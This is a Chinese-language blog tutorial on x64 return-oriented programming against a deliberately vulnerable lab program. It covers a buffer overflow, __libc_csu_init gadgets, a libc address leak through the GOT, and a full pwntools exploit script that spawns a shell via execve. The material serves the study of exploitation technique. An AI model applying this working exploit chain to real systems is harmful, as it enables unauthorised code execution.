ROP从入门到入土-X64
Intro
在前篇文章中我们已经介绍了Linux下x86和x64架构的参数传递方式,以及对于x86程序的ROP攻击。这一次让我们跨出扯蛋的一步——进入x64架构,在没有辅助函数,在仅仅调用了libc里面的函数的情况下来用libc实现ROP攻击。在这个情况下,我们能够完整地去操控堆栈,实现攻击。本次实现的攻击是蒸米大神的一步一步学ROP中x64系列的最后一个项目。
Source Code
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}
不难发现,我们能够利用的就是函数ulnerable_function中的缓冲区溢出漏洞。首先我们先定位到溢出点是136个字符之后,即136个字符之后便会覆盖ret地址。至于如何寻找溢出点,请参考前文。这里我们所使用的编译选项是:
$ gcc -fno-stack-protector -no-pie level5.c -o level5
查看文件的信息,可以发现调用了libc
➜ linux_x64 git:(master) ✗ checksec ./level5
[*] '/home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
➜ linux_x64 git:(master) ✗ readelf -d ./level5 | grep Shared
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
Overview
那么我们的思路在这里就可以开始形成了:调用system(“/bin/sh”)或execve(“/bin/sh”)来反弹shell。那么我们便需要知道libc在内存中的地址,以及一个”/bin/sh”字符串。我们无法非常直接地获得libc的地址,但我们能够找到函数write在内存中的地址。查阅write的函数说明:
ssize_t write(int fd, const void *buf, size_t count);
Description write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd. The number of bytes written may be less than count if, for example, there is insufficient space on the underlying physical medium, or the RLIMIT_FSIZE resource limit is encountered (see setrlimit(2)), or the call was interrupted by a signal handler after having written less than count bytes. (See also pipe(7).)
For a seekable file (i.e., one to which lseek(2) may be applied, for example, a regular file) writing takes place at the current file offset, and the file offset is incremented by the number of bytes actually written. If the file was open(2)ed with O_APPEND, the file offset is first set to the end of the file before writing. The adjustment of the file offset and the write operation are performed as an atomic step.
POSIX requires that a read(2) which can be proved to occur after a write() has returned returns the new data. Note that not all file systems are POSIX conforming.
我们可以将*buf中的内容,长度位count,写到fd中。那么我们便可以让write打印write,即将write的地址作为参数*buf传递给函数write(),令其写入stdout,即可获得write()在内存中的地址。而我们所需要的便是指向write()的指针,这在got表中可以找到。查看该表可以使用命令:
➜ linux_x64 git:(master) ✗ objdump -R level5
level5: file format elf64-x86-64
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000403fe0 R_X86_64_GLOB_DAT _ITM_deregisterTMCloneTable
0000000000403fe8 R_X86_64_GLOB_DAT __libc_start_main@GLIBC_2.2.5
0000000000403ff0 R_X86_64_GLOB_DAT __gmon_start__
0000000000403ff8 R_X86_64_GLOB_DAT _ITM_registerTMCloneTable
0000000000404018 R_X86_64_JUMP_SLOT write@GLIBC_2.2.5
0000000000404020 R_X86_64_JUMP_SLOT read@GLIBC_2.2.5
这里可以看到write和read函数都存在于表中,其调用libc库。关于got表是什么,可以参考这个系列的文章,讲的很让人能够看懂。
而我们可以获得libc库的二进制文件,那么便可知道write()在libc中的位置。结合其在libc和内存中的位置便可以推得system(或execve)在内存中的位置。
下一步便是得到一个”/bin/sh”字符串。我们需要做的便是将其放入可读写的bss段内。通过调用read(),从stdin读取”/bin/sh\0”到bss段即可将其写入。
最后再调用system()或execve()即可。不知道是什么原因,笔者调用system()函数总是无法成功,于是后文仅用execve()函数。如若正在看文的大佬知道为什么,还请不吝赐教!
Payload
由于x64架构参数传递使用到了寄存器,我们无法像往常一样把参数都压到堆栈里面。那么我们便来寻找有没有类似pop rdi(rsi/rdx)的指令。使用objdump查反汇编level5*的二进制文件:
0000000000401190 <__libc_csu_init>:
401190: f3 0f 1e fa endbr64
401194: 41 57 push %r15
401196: 4c 8d 3d 63 2c 00 00 lea 0x2c63(%rip),%r15 # 403e00 <__frame_dummy_init_array_entry>
40119d: 41 56 push %r14
40119f: 49 89 d6 mov %rdx,%r14
4011a2: 41 55 push %r13
4011a4: 49 89 f5 mov %rsi,%r13
4011a7: 41 54 push %r12
4011a9: 41 89 fc mov %edi,%r12d
4011ac: 55 push %rbp
4011ad: 48 8d 2d 54 2c 00 00 lea 0x2c54(%rip),%rbp # 403e08 <__init_array_end>
4011b4: 53 push %rbx
4011b5: 4c 29 fd sub %r15,%rbp
4011b8: 48 83 ec 08 sub $0x8,%rsp
4011bc: e8 3f fe ff ff callq 401000 <_init>
4011c1: 48 c1 fd 03 sar $0x3,%rbp
4011c5: 74 1f je 4011e6 <__libc_csu_init+0x56>
4011c7: 31 db xor %ebx,%ebx
4011c9: 0f 1f 80 00 00 00 00 nopl 0x0(%rax)
4011d0: 4c 89 f2 mov %r14,%rdx
4011d3: 4c 89 ee mov %r13,%rsi
4011d6: 44 89 e7 mov %r12d,%edi
4011d9: 41 ff 14 df callq *(%r15,%rbx,8)
4011dd: 48 83 c3 01 add $0x1,%rbx
4011e1: 48 39 dd cmp %rbx,%rbp
4011e4: 75 ea jne 4011d0 <__libc_csu_init+0x40>
4011e6: 48 83 c4 08 add $0x8,%rsp
4011ea: 5b pop %rbx
4011eb: 5d pop %rbp
4011ec: 41 5c pop %r12
4011ee: 41 5d pop %r13
4011f0: 41 5e pop %r14
4011f2: 41 5f pop %r15
4011f4: c3 retq
4011f5: 66 66 2e 0f 1f 84 00 data16 nopw %cs:0x0(%rax,%rax,1)
4011fc: 00 00 00 00
发现了其中的如下两段代码:
- 支持三个参数的call(gadget_call)
4011d0: 4c 89 f2 mov %r14,%rdx 4011d3: 4c 89 ee mov %r13,%rsi 4011d6: 44 89 e7 mov %r12d,%edi 4011d9: 41 ff 14 df callq *(%r15,%rbx,8)
- 从堆栈将数据弹到寄存器内(gadget_pop)
4011ea: 5b pop %rbx 4011eb: 5d pop %rbp 4011ec: 41 5c pop %r12 4011ee: 41 5d pop %r13 4011f0: 41 5e pop %r14 4011f2: 41 5f pop %r15 4011f4: c3 retq
我们惊奇地发现,从堆栈中弹出的数据,被拷贝给了用于传递参数的寄存器,并被用于call指令的寻址。那么我们用于构建payload的链条就浮现了出来:将函数的地址写进r15寄存器,参数压入r12、r13以及r14。这里的callq指令会先寻址到[r15 + rbx * 8]处,然后跳转到方括号内的内存指向的地址。这里涉及到了比较特殊的寻址方式,可以参考这个网站得到更加详细的信息。
Not a Important Thing
我们在执行完gadget_call之后,程序会继续执行下面的部分,也就是继续从4011dd到4011f4的部分。我们发现汇编代码会对rbx+1,和rbp比较,如不相等便会跳转。我们不需要它进行跳转,于是在先执行gadget_pop的部分时使得rbx和rbp相差1。再往后看,对rsp+8,在x64架构下相当于pop了一次,随后又pop了6次,于是我们构造payload时,为了最后ret的位置可控,需要先将(6+1)*8个字符压栈后,再压栈返回地址。
Type | Example syntax | Value used |
---|---|---|
Register | %rbp Contents of %rbp | |
Immediate | $0x4 0x4 | |
Memory 0x4 | Value stored at address | |
symbol_name | Value stored in global symbol_name | |
symbol_name(%rip) | %rip-relative addressing for global (see below) | |
(%rax) | Value stored at address in %rax | |
0x4(%rax) | Value stored at address %rax + 4 | |
(%rax,%rbx) | Value stored at address %rax + %rbx | |
(%rax,%rbx,4) | Value stored at address %rax + %rbx*4 | |
0x18(%rax,%rbx,4) | Value stored at address %rax + 0x18 + %rbx*4 |
Exploit
现在开始,我们可以着手编写EXP了。鉴于python2即将停止支持,我们使用python3编写。 完整的攻击链如下:
- 获得write()在内存中的的地址
溢出 -> ret to gadget_pop -> ret to gadget_call:write(stdout, write, 1) -> ret to main()
- 向bss写入”/bin/sh”和execve()的地址
溢出 -> ret to gadget_pop -> ret to gadget_call:read(stdin, bss, 16) -> ret to main()
此时向stdin输入的内容为execve()的地址+字符串”/bin/sh\0”
- 调用execve(“/bin/sh”)
溢出 -> ret to gadget_pop -> ret to gadget_call:execve(bssAddr+8) -> ret to dummy addresss
execve在bss段上。由于x64下地址长度为8字节,后面的”/bin/sh\0”地址是bssAddr+8
Shellocde.py
代码中有详尽的注释,该解释的地方已经解释过啦!
from pwn import *
p = process("./level5")
elf = ELF('level5')
libc = elf.libc
bssAddr = elf.bss()
mainAddr = elf.symbols['main']
gadMovToReg = 0x4011d0
# 4011d0: 4c 89 f2 mov %r14,%rdx
# 4011d3: 4c 89 ee mov %r13,%rsi
# 4011d6: 44 89 e7 mov %r12d,%edi
# 4011d9: 41 ff 14 df callq *(%r15,%rbx,8)
gadPopToReg = 0x4011ea
# 4011ea: 5b pop %rbx
# 4011eb: 5d pop %rbp
# 4011ec: 41 5c pop %r12
# 4011ee: 41 5d pop %r13
# 4011f0: 41 5e pop %r14
# 4011f2: 41 5f pop %r15
# 4011f4: c3 retq
stackBalanceOffset = 56
writeGotAddr = elf.got['write']
readGotAddr = elf.got['read']
def genPayload( arg1, funcAddr, rbx = 0, rbp = 1, arg2 = 0, ret = mainAddr, arg3 = 0):
"""
use the two gadgets to launch a call
Arguments:
arg1 {b} -- 1st parameter for call, rdi(edi), i.e. r12(d)
funcAddr {b} -- function addres, i.e. r15
Keyword Arguments:
rbx {b} -- may not be used here (default: {0})
rbp {b} -- may not be used here (default: {1})
arg2 {b} -- 2nd parameter for call, rsi, i.e. r13 (default: {0})
arg3 {b} -- 3rd parameter for call, rdx, i.e. r14 (default: {0})
ret {b} -- return address after payload execution
"""
payload = b'A' * 136 + p64(gadPopToReg) + p64(rbx) + p64(rbp) + p64(arg1) + p64(arg2) + p64(arg3) + p64(funcAddr)
payload += p64(gadMovToReg) + b'A' * 56 +p64(ret)
return payload
p.recvuntil("Hello, World\n")
# Get the address of write in libc and then, libc
# write prototype: write(int fd, const void * buf, size_t count)
payload1 = genPayload(1, writeGotAddr, arg2 = writeGotAddr, arg3 = 8)
f1 = open("./payload1", "wb")
f1.write(payload1)
f1.close()
p.send(payload1)
sleep(1)
writeAddrInLibc = u64(p.recv(8))
print("[*] Write Addr in libc:", hex(writeAddrInLibc))
libc.address = writeAddrInLibc - libc.symbols['write']
print("[*] libc Addr:", libc.address)
# systemAddr = libc.symbols['system']
systemAddr = libc.symbols['execve']
print("[*] system Addr:", systemAddr)
p.recvuntil("Hello, World\n")
# Read addr(system()) and "/bin/sh" to bss seg
# read prototype: read(int fd, void *buf, size_t count)
# read(0, bssAddr, 16)
payload2 = genPayload(0, readGotAddr, arg2 = bssAddr, arg3 = 16)
p.send(payload2)
print("[*] Sent Payload2")
sleep(1)
p.send(p64(systemAddr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
# execute system("/bin/sh")
payload3 = genPayload(bssAddr+8, bssAddr)
p.send(payload3)
print("[*] Sent Payload3")
sleep(1)
p.interactive()
效果如下:
➜ linux_x64 git:(master) ✗ python ./shellcode5.py
[+] Starting local process './level5': pid 11820
[*] '/home/ya0guang/Code_obo/ROP_STEP_BY_STEP/linux_x64/level5'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/usr/lib/libc.so.6'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Write Addr in libc: 0x7f4fef8d71e0
[*] libc Addr: 0x7f4fef7ea000
[*] system Addr: 0x7f4fef8b3660
[*] Sent Payload2
[*] Sent Payload3
[*] Switching to interactive mode
$ whoami
ya0guang
Summary & Gadgets
如果你看到这里并且复现成功了的话,就算是和我一样入了二进制的大坑了。我目前的水平也就限于此了。最近在啃RE4B这本书,讲汇编语言讲得还是很不错的,如果你还没有放弃的话可以和我一起啃。另笔者在尝试调用system()的时候永远无法返回shell,不知道是何问题,还望有识之士点拨一二。
同样的攻击在笔者的Ubuntu18.04物理机上攻击总是失败。用gdb调试跟进发现所有的地址,所有的参数都正确的情况下还是无法反弹shell,很郁闷,如果有碰到类似情况的还望告诉我。
留下评论